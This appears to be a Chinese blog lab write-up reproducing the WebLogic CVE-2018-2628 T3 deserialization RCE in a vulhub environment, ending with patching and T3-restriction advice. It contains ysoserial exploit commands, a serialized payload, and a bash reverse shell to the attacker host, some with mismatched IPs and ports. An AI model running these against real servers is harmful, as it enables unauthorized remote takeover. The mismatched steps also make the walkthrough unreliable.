- 漏洞概述
- 影响版本
- 漏洞复现
- 漏洞修复
在 WebLogic 里,攻击者利用其他rmi【远程方法调用】绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。
影响版本与weblogic的任意文件上传漏洞影响版本相同:
Weblogic 10.3.6.0 Weblogic 12.1.3.0 Weblogic 12.2.1.2 Weblogic 12.2.1.3漏洞复现
靶机:192.168.11.128(vulhub)
攻击机:192.168.11.131
-
启动环境
-
访问http://192.168.11.128:7001/,出现此页面说明启动成功。
3. 使用namp进行扫描,发现开启了T3协议。
nmap -n -v -p 7001,7002 192.168.11.128 --script=weblogic-t3-info
- 在攻击机中下载CVE-2018-2628检测漏洞脚本,将url.txt的内容修改如下:
- 设置所要检测的ip, 并运行脚本
python CVE-2018-2628-MultiThreading.py
其中可能会遇到以下问题
这是由于这个脚本需要在python2环境下运行,参照这篇文章 kali切换python版本
- 出现is vul CVE-2018-2628说明漏洞存在,接下来我们开始复现
- 启动JRMP Server,目的是为了使得触发漏洞后weblogic所在服务器可以远程调用执行特定的程序。他的作用就是一台存放payload的服务器,当我们攻击了存在漏洞的靶机后,靶机会到这台JRMP服务器去找这个payload执行命令。
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command] #[listen port]是需要JRMP Server监听的端口,这个端口的作用是为了让目的主机上weblogic进行远程调用kali方法时,可以连接到我们自己的主机 #[command]为要执行的命令
- 以下我们执行反弹shell命令,我们需要注意需要对执行的命令进行需要进行一次编码,因为 Runtime.getRuntime().exec() 中不能使用管道符等bash需要的方法
反弹bash命令自动编码工具
bash -i >& /dev/tcp/192.168.11.131/8888 0>&1
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExLjEyOC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}'
最后一行出现 * Opening JRMP listener on 8888,说明JRMP Server正在监听8888端口。
- 制造payload,在kali上打开一个新终端,使用ysoserial-0.1-cve-2018-2628-all.jar工具生成一个payload,因为要实现weblogic远程调用kali方法,所以就需要知道攻击机的ip与端口。
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.11.131:8888 | xxd -p | tr -d $'n' && echo
生成的payload如下:
aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f727872001 76a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a61 76612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612 e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000 000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c6 1331e03000078707737000a556e6963617374526566000e3139322e3136382e31312e313238000022b8ffffff ff835fba0600000000000000000000000000000078
复制结果,替换weblogic_poc.py中的payload:
并修改目标IP:
- 在攻击机中监听端口1234
nc -vnlp 1234
- 执行脚本weblogic_poc.py
- 反弹shell成功
由于我在操作过程中弄混了靶机和攻击机,导致靶机的ip端口被占用无法在本地环境打开,所以最后监听端口的步骤来自于参考文章。
漏洞修复- 官方补丁:T3协议漏洞加固的话可以打上官方最新的补丁,可使用正版软件许可账户登录 https://support.oracle.com,下载最新补丁。
- 手工修复:控制T3协议的访问权限来临时阻断漏洞利用。
- 禁用T3协议
- 禁止T3端口对外开放, 或者限制可访问T3端口的IP来源
参考文章1
参考文章2